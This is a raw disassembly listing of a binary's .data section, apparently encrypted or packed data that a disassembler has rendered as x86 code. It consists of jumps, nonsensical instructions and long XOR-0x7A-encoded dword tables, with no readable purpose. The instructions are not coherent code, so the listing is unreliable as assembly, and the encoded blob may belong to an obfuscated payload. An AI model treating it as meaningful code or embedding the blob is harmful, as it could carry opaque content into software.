loc_42689B: ; CODE XREF: .data:00426852j
xor dh, fs:[ebx]
das
db 65h
insd
insd
jp short loc_426917
loc_4268A4: ; CODE XREF: .data:loc_42682Cj
jp short loc_42682C
jmp near ptr 0B4F84C95h
; ---------------------------------------------------------------------------
db 0A8h
db 0E2h, 2 dup(0EAh)
; ---------------------------------------------------------------------------
loc_4268AF: ; CODE XREF: .data:00426858j
; .data:00426885j ...
jp short loc_42692B
jp short loc_4268D7
jp short loc_426930
jp short loc_42688B
lodsb
jp short near ptr loc_426934+1
jp short near ptr loc_4268EE+2
push 2E7A7B7Ah
push cs
jp short near ptr loc_42693B+3
jp short loc_426851
jp short near ptr loc_426930+1
jp short loc_426862
int 0F6h
stc
cli
hlt
; ---------------------------------------------------------------------------
db 0FDh
dd 0B8F7ECB8h
db 0F9h, 0EDh, 0ECh
; ---------------------------------------------------------------------------
loc_4268D7: ; CODE XREF: .data:00426860j
; .data:004268B1j
lock imul edx
loc_4268DA: ; CODE XREF: .data:004268DBj
icebp
loop loc_4268DA
jp short near ptr loc_42692B+3
jp short near ptr loc_426880+1
cmc
into
loc_4268E3: ; CODE XREF: .data:0042687Bj
rol edx, 0CCh
lds eax, [eax-3E7F302Ch]
loc_4268EC: ; CODE XREF: .data:loc_426880j
aad 0D4h
loc_4268EE: ; CODE XREF: .data:004268BAj
enter 0FFFFD2CFh, 0C9h
fcmovb st, st(5)
loc_4268F4: ; CODE XREF: .data:00426883j
or byte ptr [ebp-1C111680h], 0EFh
db 0F2h
repne in eax, 0E3h
loc_4268FF: ; CODE XREF: .data:00426944j
hlt
; ---------------------------------------------------------------------------
dd 0EEE9F080h, 0CCF0808Eh
db 0C5h, 0C1h
; ---------------------------------------------------------------------------
loc_42690A: ; CODE XREF: .data:00426895j
rol ebp, cl
mov word ptr [eax-2D2D303Dh], es
; ---------------------------------------------------------------------------
dw 0C3C5h
db 0D4h, 8Eh, 7Ah
; ---------------------------------------------------------------------------
loc_426917: ; CODE XREF: .data:004268A2j
jnp short loc_426993
mov al, 9Dh
jp short loc_426981
jp short near ptr loc_426922+5
pop eax
db 64h
insd
loc_426922: ; CODE XREF: .data:0042691Dj
imul edi, [ebx+6Dh], 6D7B2824h
db 64h
insd
loc_42692B: ; CODE XREF: .data:loc_4268AFj
; .data:004268DDj
imul edi, [eax+ebp+4Dh], 70h
loc_426930: ; CODE XREF: .data:004268B3j
; .data:004268C6j
js short loc_426993
jp short loc_42699D
loc_426934: ; CODE XREF: .data:004268B8j
jl short near ptr loc_426995+2
db 66h
sub [bx+di+6Dh], dl
loc_42693B: ; CODE XREF: .data:004268C2j
imul edi, [edx+7Ah], 67477A7Bh
jp short near ptr loc_4269A6+3
jp short loc_4268FF
jmp near ptr 0CB1B4620h
; ---------------------------------------------------------------------------
db 0DCh
db 95h, 99h, 0CAh
; ---------------------------------------------------------------------------
loc_42694F: ; CODE XREF: .data:loc_426993j
fcom st(5)
fcomp st(2)
int 99h ; used by BASIC while in interpreter
cld
ror ecx, 0D0h
retf
; ---------------------------------------------------------------------------
dw 0CDD8h
dd 99D7D6D0h, 0CDD7D6F4h, 7A687AD1h, 0C9CCF9AAh, 0C3ECD9E3h
dd 0D8FACFC6h, 0C9CFDEC5h, 7ACECFDEh, 34477A7Dh
db 21h
; ---------------------------------------------------------------------------
loc_426981: ; CODE XREF: .data:0042691Bj
and al, 69h
and ebp, [ebx]
sub edi, [edx+7Dh]
jp short near ptr word_4269D6
aas
sub ch, [edi]
bound ebp, [eax]
and [eax], ah
jp short near ptr word_426A0E
loc_426993: ; CODE XREF: .data:loc_426917j
; .data:loc_426930j
jp short loc_42694F
loc_426995: ; CODE XREF: .data:loc_426934j
mov byte ptr [edx+20h], 7Ah
retf 0A98Bh
; ---------------------------------------------------------------------------
db 0A9h
; ---------------------------------------------------------------------------
loc_42699D: ; CODE XREF: .data:00426932j
movsd
mov edi, 84EABEA4h
stosd
cmpsd
scasd
loc_4269A6: ; CODE XREF: .data:00426942j
jmp near ptr 0F9DCEF45h
; ---------------------------------------------------------------------------
db 0EAh
dd 0BCB8AF99h, 99E9B8AFh, 0EA9A9E87h, 0BCB8AF99h, 99E9B8AFh
dd 0EA9A9E87h, 0BAB9A38Eh, 0EAB3ABA6h, 0AFA7AB84h, 9E8799E9h
db 9Ah, 0EAh
word_4269D6 dw 0A78Fh ; CODE XREF: .data:00426988j
dd 0EAA6A3ABh, 0B8AEAE8Bh, 0E9B9B9AFh, 0F99A859Ah, 0AFB99FEAh
dd 0AB84EAB8h, 0E9E9AFA7h, 317A747Ah, 2617E61h, 42506111h
dd 435E4642h, 437A0355h, 170B587Ah
db 1Eh, 0Ch
word_426A0E dw 190Fh ; CODE XREF: .data:00426991j
dd 15041D0Ah, 372A3B31h, 2C3E372Bh, 2C361104h, 3D362A3Dh
dd 3B19782Ch, 362D373Bh, 3915782Ch, 3D3F3936h, 3B19042Ah
dd 362D373Bh, 7D042B2Ch, 7A206068h, 1B2E1F29h, 0D351F11h
dd 9081F14h, 2A0A1312h, 130C1308h, 1F1D1F16h, 0E77A7F7Ah
dd 94C294C2h, 7A7F7ABBh, 0A4F2A481h, 797ADDF2h, 7620057Ah
dd 7A7E7A2Fh, 441D5B7Eh, 7A7B7A22h, 7B7AE69Ah, 7AE09C7Ah
dd 0B8F17A63h, 0B2A5B4BFh, 0D1BCBCBEh, 878394A2h, 0A1D18394h
dd 86828290h, 8295839Eh, 0F17A7B7Ah, 7A7F7A8Dh, 8BA4F2D7h
dd 7F7AA4F2h, 7D2B0E7Ah, 7A7D2B52h, 0AD887A7Eh, 7AA2D4FBh
dd 1F3E7A7Bh, 8B7A7B7Ah, 7A7E7AA1h, 54545054h, 7A7B7A54h
dd 7B7A7556h, 7A36157Ah, 93B07A7Bh, 0B17A7D7Ah, 0C1C5C5D9h
dd 7A9E9E8Bh, 5A797A7Bh, 217A7D7Ah, 51555549h, 7A0E0E1Bh
dd 0F3907E71h, 0F8F3F5F8h, 0E2E0FEF5h, 0BEE3E3F5h, 0FFF6FEF9h
dd 0FCFFF7B3h, 0FCFFE0F4h, 0FFF3BEFCh, 0FEF9B3FDh, 0FCFFF7E4h
dd 0FFF3BEF4h, 0E7E7B3FDh, 0F2F3BEE7h, 0E5E2BEE2h, 0E7E7E7B3h
dd 0F3E6F1BEh, 0FBF3F5F8h, 0B3E5E2BEh, 0E2FFE4E3h, 0E9F1E0FDh
dd 0FDFFF3BEh, 0E5E2F3B3h, 0BEE0FFE4h, 0FEB3E5FEh, 0F5BEE7F5h
dd 0F3BEF7F7h, 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h
dd 0FFF3BEE3h, 0E6F1B3FDh, 0F3F5F8F3h, 0E5E2BEFBh, 0F3E6F1B3h
dd 0FBF3F5F8h, 0EAF9F2BEh, 0E7E7E7B3h, 0F9F2F2BEh, 0E5E2BEFEh
dd 0E3F1FDB3h, 0BDE2F5E4h, 0FFF3BEE8h, 0E7E7B3FDh, 0FFE0BEE7h
dd 0E3F9EAFEh, 0E3FDF1F3h, 0FDFFF3BEh, 0E7E7E7B3h, 0FEF1F2BEh
dd 0F1F2BDFBh, 0F5E5E1FEh, 0FEF1F3BDh, 0BEF1F4F1h, 0E7B3F1F3h
dd 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h, 0E7E7B3FDh
dd 0FDF2BEE7h, 0FFF3BEFFh, 0F1E0B3FDh, 0FCF1E0E9h, 0FDFFF3BEh
dd 0F1F2F5B3h, 0FFF3BEE9h, 0E7E7B3FDh, 0F1F2BEE7h, 0F6FFFBFEh
dd 0E5F4F1FDh, 0F3BEF1E2h, 0E7B3FDFFh, 0F3BEE7E7h, 0BEF3F2F9h
dd 0B3FDFFF3h, 0BEE7E7E7h, 0BEF2E4E6h, 0E7B3E5E2h, 0F3BEE7E7h
dd 0FEF1F2E7h, 0FFF3BEFBh, 0FFF7B3FDh, 0FFE0F4FCh, 0F3BEFCFCh
dd 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h
dd 0E7E7B3FDh, 0FDFDBEE7h, 0FBFEF1F2h, 0B3E5E2BEh, 0BEE7E7E7h
dd 0F1F9FEE5h, 0E5E2E4E3h, 0E5E2BEFDh, 0FCFFF7B3h, 0FCFFE0F4h
dd 0FFF3BEFCh, 0E7E7B3FDh, 0FFE0BEE7h, 0E3F9EAFEh, 0E3FDF1F3h
dd 0FDFFF3BEh, 0E7E7E7B3h, 0E2FFE7BEh, 0F1F2F4FCh, 0FFBEFBFEh
dd 0E7B3F7E2h, 0F3BEE7E7h, 0F9F4FEF1h, 0F5E4F1F4h, 0F9E2F5E6h
dd 0E2F5F9F6h, 0FDFFF3BEh, 0E7E7E7B3h, 0FEFFE0BEh, 0F3E3F9EAh
dd 0BEE3FDF1h, 0B3FDFFF3h, 0BEE7E7E7h, 0FBFEF1F2h, 0FEF9F6FFh
dd 0BEF1F9F4h, 0B3FDFFF3h, 0BEE7E7E7h, 0F1F2F3F9h, 0E2BEFBFEh
dd 0E6F1B3E5h, 0F3F5F8F3h, 0E5E2BEFBh, 0E7E7E7B3h, 0FEF5E6BEh
dd 0E3E2FFF4h, 0F5FDF1FEh, 0B3E3E7BEh, 0BEE7E7E7h, 0BEF2FDFBh
dd 0E7B3E5E2h, 0FEBEE7E7h, 0F1FDE4F5h, 0E4E3F9F7h, 0F3BEE2F5h
dd 0FBB3FDFFh, 0F1FBE6F1h, 0FEF5F3EAh, 0BEE2F5E4h, 0B3FDFFF3h
dd 0BEE7E7E7h, 0F4FEF5E6h, 0FEE3E2FFh, 0BEF5FDF1h, 0FDB3E3E7h
dd 0FCFEFFE9h, 0F1F5FEF9h, 0E5FFF3F3h, 0A2E3E4FEh, 0F2F2F1BEh
dd 0F1FEE9F5h, 0FEFFF9E4h, 0F3BEFCF1h, 0FBE5BEFFh, 0FCFEFFB3h
dd 0BDF5FEF9h, 0F9E3E5F2h, 0E3E3F5FEh, 0FFFCFCBEh, 0E4E3F4E9h
dd 0F3BEF2E3h, 0FBE5BEFFh, 0E7E7E7B3h, 0FCFCF1BEh, 0F2F1F8F1h
dd 0F1F2F4F1h, 0F3BEFBFEh, 0E7B3FDFFh, 0E2BEE7E7h, 0F3BEF3F2h
dd 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h
dd 0E7E7B3FDh, 0F8BEA1E7h, 0BEF3F2E3h, 0FBB3F1F3h, 0F5E2F2F7h
dd 0F3E8F1FCh, 0BEF2E5FCh, 0E9B3E5E2h, 0FFF2FDF1h, 0EAF9F2BEh
dd 0F4F9FBB3h, 0F2BDE3FFh, 0BEFBFEF1h, 0E7B3E5E2h, 0FCBEE7E7h
dd 0F9F4F3F2h, 0E4F3F5E2h, 0E5F1FCBEh, 0E4FEF5E2h, 0F2FEF1F9h
dd 0BEFBFEF1h, 0F2B3F1F3h, 0FCF3E2F1h, 0BEE3E9F1h, 0B3FDFFF3h
dd 0F1E4FFE4h, 0F6E9FCFCh, 0F2F5F5E2h, 0F9FBFEF1h, 0F3BEF7FEh
dd 0E7B3FDFFh, 0FEBEE7E7h, 0F3BEF3F2h, 0A3A5B3F1h, 0FBFEF1F2h
dd 0FDFFF3BEh, 0E7E7E7B3h, 0FEF5E6BEh, 0E3E2FFF4h, 0F5FDF1FEh
dd 0B3FEE6BEh, 0BEE7E7E7h, 0BDF2A2F2h, 0E3E5E2E4h, 0FFF3BEE4h
dd 0E7E7B3FDh, 0F5E6BEE7h, 0E2FFF4FEh, 0FDF1FEE3h, 0E3E7BEF5h
dd 0F5E0FFB3h, 0FEF1F2FEh, 0FFF3BEFBh, 0F1E4B3FDh, 0F5FEBDE4h
dd 0F1F2E4F6h, 0E2BEFBFEh, 0F5E3B3E5h, 0F2F1FCF3h, 0B3E5E2BEh
dd 0E5F3F5E3h, 0E9E4F9E2h, 0BEF2F1FCh, 0F6B3E5E2h, 0F1F8E4F5h
dd 0F2BEF4E2h, 0F7B3EAF9h, 0E8FEFFE2h, 0FEF1FCE0h, 0BEE3E4F5h
dd 0E6B3E5E2h, 0FFF4FEF5h, 0F1FEE3E2h, 0E6BEF5FDh, 7E7AB3FEh
dd 3520057Ah, 687A5D3Dh, 736757Ah, 2001050Ch, 1A07051Bh
dd 1161001h, 14011431h, 9B7A717Ah, 0EBE2E9F8h, 0B5A9A8EFh
dd 7AF7F7FFh, 17747A71h, 40D06h, 105A4647h, 697A1818h
dd 6341067Ah, 74734572h, 72686374h, 65697456h, 4F757563h
dd 7A737A62h, 0E4FFDA8Dh, 0E4CBE8F9h, 6B7AE8E1h, 9BB9FE7Ah
dd 8D97BA8Ah, 9B8CB895h, 9F8EAD9Bh, 7ABF9B9Dh, 0EEA97A6Ch
dd 0C7ECDDCCh, 0C6DBC0DFh, 0C7CCC4C7h, 0DBDDFADDh, 0DACEC7C0h
dd 7A697AE8h, 5B4A682Fh, 5B5C567Ch, 466B424Ah, 5B4C4A5Dh
dd 6E565D40h, 707A767Ah, 24041537h, 20001D15h, 31180411h
dd 0FF7A727Ah, 8D8B8C93h, 0A8919A93h, 0C67A747Ah, 8AB2A381h
dd 0AAA7A5A9h, 0A0A88FA3h, 777A87A9h, 0D2F0B77Ah, 0DEC5F3C3h
dd 0CEE3D2C1h, 7AF6D2C7h, 0BFFC7A71h, 998F9390h, 98929DB4h
dd 747A9990h, 0B98FDC7Ah, 0B0B59AA8h, 0B5B38CB9h, 0AEB9A8B2h
dd 5B7A767Ah, 3F3A3417h, 29393217h, 1A22293Ah, 477A777Ah
dd 1D2B3315h, 0A283522h, 35282A22h, 7A7D7A3Eh, 23241A4Dh
dd 2E283508h, 0C47A707Ah, 0B0ADBC81h, 0A1B6AC90h, 6E7AA0A5h
dd 43642D7Ah, 415F4859h, 48464E42h, 4E436449h, 4840485Fh
dd 777A5943h, 2C03457Ah, 200B212Bh, 2C03313Dh, 7A042029h
dd 0F0B77A77h, 0CEE4C3D2h, 0DAD2C3C4h, 0D2DADEE3h, 657A767Ah
dd 31110022h, 260E060Ch, 110B100Ah, 0B77A6A7Ah, 0FAC3D2F0h
dd 0DBC2D3D8h, 0D9D6FFD2h, 0F6D2DBD3h, 5D7A717Ah, 292F340Bh
dd 1B313C28h, 7A38382Fh, 5A197A71h, 6D787C6Bh, 75705F7Ch
dd 707A587Ch, 0F7C8877Ah, 0F2CAE9E2h, 0C6FFE2F3h, 0FE7A717Ah
dd 0B88A9BB9h, 0AD9B9297h, 7A9B8497h, 7417A71h, 0D242433h
dd 20332328h, 767A3833h, 0E2DD8B7Ah, 0EAFEFFF9h, 0E7E7CAE7h
dd 6A7AE8E4h, 3614537Ah, 3E3C1027h, 36272623h, 3E321D21h
dd 717A1236h, 3C034C7Ah, 3E1C2229h, 3F292F23h, 7A6D7A3Fh
dd 0F3E4D096h, 0E0F8D3F3h, 0F8F9E4FFh, 0E2F8F3FBh, 0FFE4E2C5h
dd 0D7E5F1F8h, 0C17A747Ah, 0A5AFA887h, 0B2B3A887h, 0ADA887B5h
dd 767A80A4h, 0B584C77Ah, 0A2B3A6A2h, 0A2B3B28Ah, 6E7A86BFh
dd 0A582CB7Ah, 0A7B9AEBFh, 0AEA0A8A4h, 0A8AE8FAFh, 0AEA6AEB9h
dd 6E7ABFA5h, 0E7C88E7Ah, 0E7DAEBE2h, 0E1DAEBE3h, 0FAFDF7DDh
dd 0E7DAE3EBh, 777AEBE3h, 94B6F17Ah, 8394A785h, 9F9E9882h
dd 7AB089B4h, 793A7A73h, 7C434A55h, 7B5F5653h, 0E57A6F7Ah
dd 0B39180A2h, 8890898Ah, 838BAC80h, 8488978Ah, 8B8A8C91h
dd 7A727AA4h, 5E5A6D3Fh, 5356795Bh, 7A697A5Ah, 8E83BDEAh
dd 8B82A98Fh, 0A785BE98h, 839E869Fh, 8F9E93A8h, 747A757Ah
dd 4191B37h, 32110615h, 2011181Dh, 7A11191Dh, 6C2B7A6Bh
dd 536E5F4Eh, 44685F42h
dd 437F4E4Fh, 4F4A4E59h, 717A697Ah, 51D043Ch, 5083318h
dd 261E2514h, 32141518h, 7A031019h, 0C78B7A73h, 0E7EAE8E4h
dd 0EEEEF9CDh, 0F57A697Ah, 819C94A2h, 0A6879AB3h, 99929B9Ch
dd 9F97BA90h, 7A819690h, 7D3A7A68h, 55774E5Fh, 5F564F5Eh
dd 5F56537Ch, 5F575B74h, 7A717A7Bh, 444D6C28h, 6E4D5C4Dh
dd 694D4441h, 877A767Ah, 0C2F3E2D4h, 0F5E8F5F5h, 0E2E3E8CAh
dd 0CB7A737Ah, 0AFA5A28Dh, 0B8A4A788h, 7A707AAEh, 5B577438h
dd 54795459h, 7A5B5754h, 0A4E37A68h, 96A09786h, 8D869191h
dd 918BB797h, 0AA878286h, 7A7C7A87h, 53265B7Eh, 7A5F265Bh
dd 0F2AE7A7Dh, 0CA8084DEh, 7C7AC2C2h, 2A2D5E7Ah, 2A3F3D2Ch
dd 0B7A7C7Ah, 68666E66h, 727A727Bh, 7570067Ah, 686F7476h
dd 7D7A6072h, 5D5E2D7Ah, 5943445Fh, 7A7D7A4Bh, 908A91E5h
dd 97809595h, 6C7A7E7Ah, 503180Dh, 0C27A7C7Ah, 0AEAEA3AFh
dd 7F7AA1ADh, 7475067Ah, 7A626867h, 1D427A7Ch, 27272E31h
dd 7A7E7A32h, 0BAADB9DFh, 7A7E7ABAh, 939C8FFDh, 7A7C7A99h
dd 0FFF7FF92h, 7AE2FFF1h, 0BCCF7A7Ch, 0BFACBDBBh, 7A7C7AB6h
dd 0FFF7FF92h, 7AE6F7E1h, 0C0A37A70h, 0CFC7D7D1h, 0CFC78DCFh
dd 7A707ACFh, 0F7F1E083h, 0ADEFEFE7h, 7AEFEFE7h, 7AE47A7Ah
dd 54717A7Fh, 2542D02h, 877A7F7Ah, 0A2DBF4A2h, 7A7E7AF4h
dd 5E712702h, 7A7E7A28h, 79206643h, 7A6E7A1Fh, 0BA9D9ECEh
dd 8DABBCA1h, 0BAAFABBCh, 0BDA087ABh, 0ADA0AFBAh, 7A717AABh
dd 3B3C3F4Fh, 2C2A3D20h, 23232B61h, 197A717Ah, 766D6A69h
dd 377A7C6Bh, 7A75757Dh, 0CAA17A7Ch, 0D78CD0CAh, 7A727AD9h
dd 0C6EABC99h, 0BCE1EDF4h, 7A6B7AECh, 0D2C8EFA6h, 0C3C8D4C3h
dd 0DEE386D2h, 0D4C9CAD6h, 6A7AD4C3h, 9289DA7Ah, 9CAEBF9Dh
dd 0BFBEB6B5h, 0AEBB8AA8h, 717A9BB2h, 607B087Ah, 3B64646Dh
dd 646C263Ah, 7A717A64h, 414C5724h, 16174848h, 4848400Ah
dd 437A7B7Ah, 7A7F7A1Fh, 0F0F5BF91h, 6C7AF0E5h, 7F50137Ah
dd 3378707Ah, 76707D5Ch, 337C4733h, 677D7C50h, 76667D7Ah
dd 937A7C7Ah, 0C7C7C6D1h, 647ADDDCh, 34296C7Ah, 2D3E253Ch
dd 22232538h, 382D284Ch, 66666629h, 4C21382Dh, 4C22253Ch
dd 2928232Fh, 697A7C7Ah, 3D283D3Ah, 7A7A2A20h, 7E7A6A7Ah
dd 6766237Ah, 7C7A776Ah, 0C0E3C7Ah, 490E1219h, 0E07A7E7Ah
dd 95D2CEC5h, 0C27A7A7Ah, 37A727Ah, 414E4C40h, 5B4C414Ch
dd 3C7A7A7Ah, 0C97A727Ah, 8B84868Ah, 91868B86h, 477A7C7Ah
dd 13061314h, 147A040Eh, 457E2B7Ah, 4E47494Ah, 0B445F0Bh
dd 435F5E4Ah, 51425944h, 0E21054Eh, 595B0B58h, 584E4844h
dd 4C454258h, 454E480Bh, 0B594E5Fh, 5E0B5842h, 47494A45h
dd 445F0B4Eh, 5F5E4A0Bh, 42594443h, 520B4E51h, 0B595E44h
dd 4F594A48h, 5580E0Bh, 404A6621h, 44480B4Eh, 484E5959h
dd 4544425Fh, 454A0B58h, 595F0B4Fh, 4C4A0B52h, 545424Ah
dd 9C7A707Ah, 0E8EFFDD1h, 0FDDFEEF9h, 7E7AF8EEh, 8996C07Ah
dd 7B7A8193h, 7A1D3D7Ah, 0B1E27A7Ch, 0ABB6A3B6h, 7A6F7AA1h
dd 9092329h, 667B7909h, 7A7A6C6Ah, 96E6760h, 6560686Fh
dd 7C7A6D6Ch, 0C1C6957Ah, 0D6DCC1D4h, 417A7A7Ah, 0D87A7C7Ah
dd 8C998C8Bh, 7C7A9B91h, 75751E7Ah, 6668336Fh, 637A727Ah
dd 0F131B26h, 1106110Ch, 0BB7A737Ah, 0F4D8D4FFh, 0D8DED1D9h
dd 7A747ACFh, 8281B4E0h, 848E89B7h, 8CA3978Fh, 7A939381h
dd 7A555540h, 0DA23087Ah, 0B58CD2E1h, 7A38DE6Bh, 0F570B3DAh
dd 3B7C9A43h, 0AA43E084h, 7AF6DE6Bh, 0F570B3DAh, 0DD6FDA43h
dd 0AA1FFD4Eh, 7A30E86Bh, 0D6BDD55Ah, 2A882137h, 0B5E2CF4Ah
dd 7AF8C16Bh, 0B4C77AD0h, 0ECC8FE71h, 60C0CECBh, 7AE6CC6Ah
dd 674E7AD0h, 787E7A7Dh, 7A7A7A7Ah, 7A7ABA7Ah, 7A7A7A7Ah
dd 563E5F3Ch, 0AA5CB149h, 7AF9CE6Bh, 7BA335BAh, 2A886563h
dd 0B5E2CF4Ah, 7AF8C16Bh, 0B4C77AD0h, 2A8B8571h, 0B5E2CF4Ah
dd 7AF8C16Bh, 0B4C77AD0h, 2A8B8D71h, 0B5E2CF4Ah, 7AF8C16Bh
dd 0B4C77AD0h, 2A883A71h, 0B5E2CF4Ah, 7AF8C16Bh, 0B4C77AD0h
dd 563E5D71h, 0AA5CB149h, 7AF9CE6Bh, 7BA335BAh, 0B1137A63h
dd 0B537EFFFh, 7A76EC6Bh, 948EBDFAh, 7A7A7AFFh, 7A7A7A7Ah
dd 7A7ABA7Ah, 7A7A7A7Ah, 766C1B3Ch, 0AAB7D5A9h, 7A44F06Bh
dd 98B335BAh, 7A7A7A14h, 51h dup(7A7A7A7Ah), 6BDA0A7Ah
dd 2 dup(7A7A7A7Ah), 6BDBFE7Ah, 6BDAD67Ah, 6BDAFE7Ah, 2 dup(7A7A7A7Ah)
dd 6BDBDA7Ah, 6BDABA7Ah, 12h dup(7A7A7A7Ah), 6BDA927Ah
dd 6BDA827Ah, 6BDB6E7Ah, 2 dup(7A7A7A7Ah), 6BDB5A7Ah, 6BDB567Ah
dd 6BDB3A7Ah, 6BDB367Ah, 6BDB227Ah, 6BDB1E7Ah, 6BDB167Ah
dd 6BDB027Ah, 2 dup(7A7A7A7Ah), 6BDA927Ah, 6BDA827Ah, 6BDB6E7Ah
dd 2 dup(7A7A7A7Ah), 6BDB5A7Ah, 6BDB567Ah, 6BDB3A7Ah, 6BDB367Ah
dd 6BDB227Ah, 6BDB1E7Ah, 6BDB167Ah, 6BDB027Ah, 2 dup(7A7A7A7Ah)
dd 3F7AE17Ah, 2A0E1302h, 1F191508h, 7A7A0909h, 3D7B5E7Ah
dd 143F0E1Fh, 1508130Ch, 141F1714h, 80E290Eh, 91D1413h
dd 7A7A7A3Bh, 2878027Ah, 142F160Eh, 1E14130Dh, 257AFA7Ah
dd 0A151E1Ch, 7A7A141Fh, 257B357Ah, 141F0A15h, 1C091525h
dd 1E141B12h, 7A7A1F16h, 1C78777Ah, 9151619h, 7A7A7A1Fh
dd 257A437Ah, 13021F19h, 7A7A7A0Eh, 1778347Ah, 1516161Bh
dd 7A7A7A19h, 8781A7Ah, 1F09131Bh, 9781D7Ah, 0F180E1Fh
dd 7A7A7A1Ch, 9780F7Ah, 0A19080Eh, 7A7A7A03h, 283F317Ah
dd 49363F34h, 161E5448h, 7A7A7A16h, 6BDA7A7Ah, 2 dup(6BDA7A6Ah)
dd 2E28396Ah, 5436363Eh, 7A36363Eh, 6BDA6E7Ah, 7 dup(6BDA6E6Ah)
dd 7A7A7A6Ah, 0Dh dup(7A7A7A7Ah), 7A7A5A7Ah, 7A7A7A7Ah
dd 7A7A5A7Ah, 7A6A7A7Ah, 7A927A7Ah, 7A8A7A7Ah, 7B567A7Ah
dd 78h dup(7A7A7A7Ah), 7A6A7A7Ah, 7A7B967Ah, 0F64A4B7Ah
dd 874A894Ah, 694B7F4Ah, 5B4B634Bh, 0CC4B5D4Bh, 864B954Bh
dd 74487B4Bh, 59486948h, 44485348h, 1848CE48h, 0F491149h
dd 0D349FD49h, 0C449CF49h, 6B49BD49h, 4B4E614Eh, 2F4E394Eh
dd 94E254Eh, 0F14E034Eh, 0C94EE54Eh, 0B44EC04Eh, 924EAF4Eh
dd 844E954Eh, 6C4F7E4Eh, 4E4F5A4Fh, 224F3C4Fh, 0F4F254Fh
dd 0D14FFD4Fh, 0A84FB24Fh, 964FA74Fh, 624F854Fh, 574C5C4Ch
dd 3F4C434Ch, 104C374Ch, 4C0E4Ch, 0E44CED4Ch, 0BD4CC24Ch
dd 9E4CAA4Ch, 804C904Ch, 684D7E4Ch, 3B4D624Dh, 284D3C4Dh
dd 1D4D234Dh, 0FA4D0E4Dh, 0CB4DEF4Dh, 8A4DA04Dh, 814D8C4Dh
dd 64427F4Dh, 4B425942h, 3D423A42h, 4420E42h, 0C842E042h
dd 9B42BE42h, 77429542h, 5B436943h, 4F435D43h, 2C433F43h
dd 16432643h, 0F143FE43h, 0D443DE43h, 0B943C343h, 9D43B643h
dd 86438B43h, 67407643h, 4D405E40h, 20404440h, 13401A40h
dd 0F9400740h, 0D140DB40h, 0B340CC40h, 0A140B540h, 91409B40h
dd 7A408040h, 6A417041h, 5B416D41h, 47414241h, 21413741h
dd 3411341h, 0F441FC41h, 0DC41EE41h, 0C341D641h, 0B341C541h
dd 9C419A41h, 72418A41h, 69467746h, 46465846h, 0F462E46h
dd 0F1460046h, 0DB46EB46h, 0C746CD46h, 0A246B446h, 8646A546h
dd 76477846h, 65476347h, 42474847h, 33473947h, 18472847h
dd 15471347h, 0FB470047h, 0E947F347h, 0D547D047h, 0AA47C547h
dd 92479B47h, 70447E47h, 64446244h, 49445344h, 20442A44h
dd 0D440844h, 0E144FD44h, 0CE44D844h, 0AE44B444h, 9D449A44h
dd 8D448A44h
dd 72457A44h, 57457545h, 35454D45h, 21452E45h, 0F0451545h
dd 0E645EC45h, 0C545C345h, 0AC45BE45h, 81459045h, 7A5A7A45h
dd 7A7BF27Ah, 5B4A787Ah, 464A5D4Ah, 264A364Ah, 94A174Ah
dd 0F34AF94Ah, 0D34AD94Ah, 0C64AC94Ah, 0B44AB94Ah, 8D4AAE4Ah
dd 6C4B754Ah, 434B494Bh, 344B444Bh, 154B254Bh, 0F54B0F4Bh
dd 0E44BEF4Bh, 0C84BD64Bh, 0B34BC74Bh, 974B994Bh, 73487E4Bh
dd 57486348h, 39484748h, 19482748h, 6481748h, 0EB48F148h
dd 0C648E548h, 0B648B848h, 78489E48h, 5E497249h, 4D495049h
dd 28494649h, 0E492249h, 0FD490049h, 0D849F649h, 0BE49D249h
dd 0AD49B049h, 8849A649h, 6E498249h, 5D4E604Eh, 384E564Eh
dd 264E324Eh, 0D4E184Eh, 0E74EFB4Eh, 0CC4ED34Eh, 0B34EC44Eh
dd 824EA34Eh, 394F694Eh, 344F334Fh, 104F194Fh, 0F04FF94Fh
dd 0D04FD94Fh, 934FB94Fh, 774C7F4Fh, 594C624Ch, 4B4C504Ch
dd 214C3F4Ch, 0FB4C014Ch, 0DD4CEB4Ch, 0B44CCB4Ch, 644D624Ch
dd 304D474Dh, 104D2A4Dh, 0EF4DF44Dh, 0BD4DD44Dh, 584DB44Dh
dd 1E422C42h, 7421542h, 0DA431F42h, 0BC43C843h, 0A043B643h
dd 0E440E243h, 0B740BD40h, 76417E40h, 21412E41h, 1411141h
dd 0E641F641h, 0C841D641h, 3A41B841h, 26462C46h, 0B046BE46h
dd 53477746h, 0F1475547h, 0DE47EE47h, 0A547D147h, 8D479647h
dd 5E447047h, 48445144h, 0E7441444h, 0D044D944h, 9A44A044h
dd 85448344h, 66456944h, 7455045h, 0E545F945h, 0BA45CC45h
dd 8B45AA45h, 7A458445h, 7A4A7A7Ah, 7A7BEE7Ah, 554A637Ah
dd 0D4A164Ah, 834A944Ah, 684B7A4Ah, 444B544Bh, 284B3E4Bh
dd 0F84B0D4Bh, 0E14BF34Bh, 0C94BDB4Bh, 0B14BBF4Bh, 0A54BA34Bh
dd 834B944Bh, 6448794Bh, 1E485348h, 2480B48h, 0E848F848h
dd 6C489248h, 10494949h, 0DE49E749h, 544E6E49h, 234E4E4Eh
dd 34E084Eh, 0E04EE94Eh, 0B04ECE4Eh, 3E4EAC4Eh, 74F304Fh
dd 6E4C774Fh, 564C594Ch, 0F84C4F4Ch, 534CF34Ch, 3A4D554Dh
dd 1A4D2B4Dh, 0FB4D0F4Dh, 0DA4DF54Dh, 0CD4DDC4Dh, 0BD4DBB4Dh
dd 71427F4Dh, 4A426442h, 3A424C42h, 1C423C42h, 4420D42h
dd 0E042EE42h, 0CD42CB42h, 0B442B242h, 7B429F42h, 66436F43h
dd 10434943h, 0EB430543h, 0BC43E043h, 8E43AC43h, 6E438143h
dd 45405740h, 2F403240h, 0E402440h, 0E6400540h, 0CB40D240h
dd 0AA40B940h, 96409940h, 71417940h, 6D416B41h, 3E415B41h
dd 22413041h, 1F412441h, 0E5411641h, 0CE41DD41h, 0B941C041h
dd 0AE41B341h, 8D41A041h, 59466741h, 46464A46h, 28463946h
dd 0F2460246h, 0E446F446h, 0C746DE46h, 0AC46B946h, 96469C46h
dd 77468446h, 59476947h, 44475047h, 21473E47h, 8471E47h
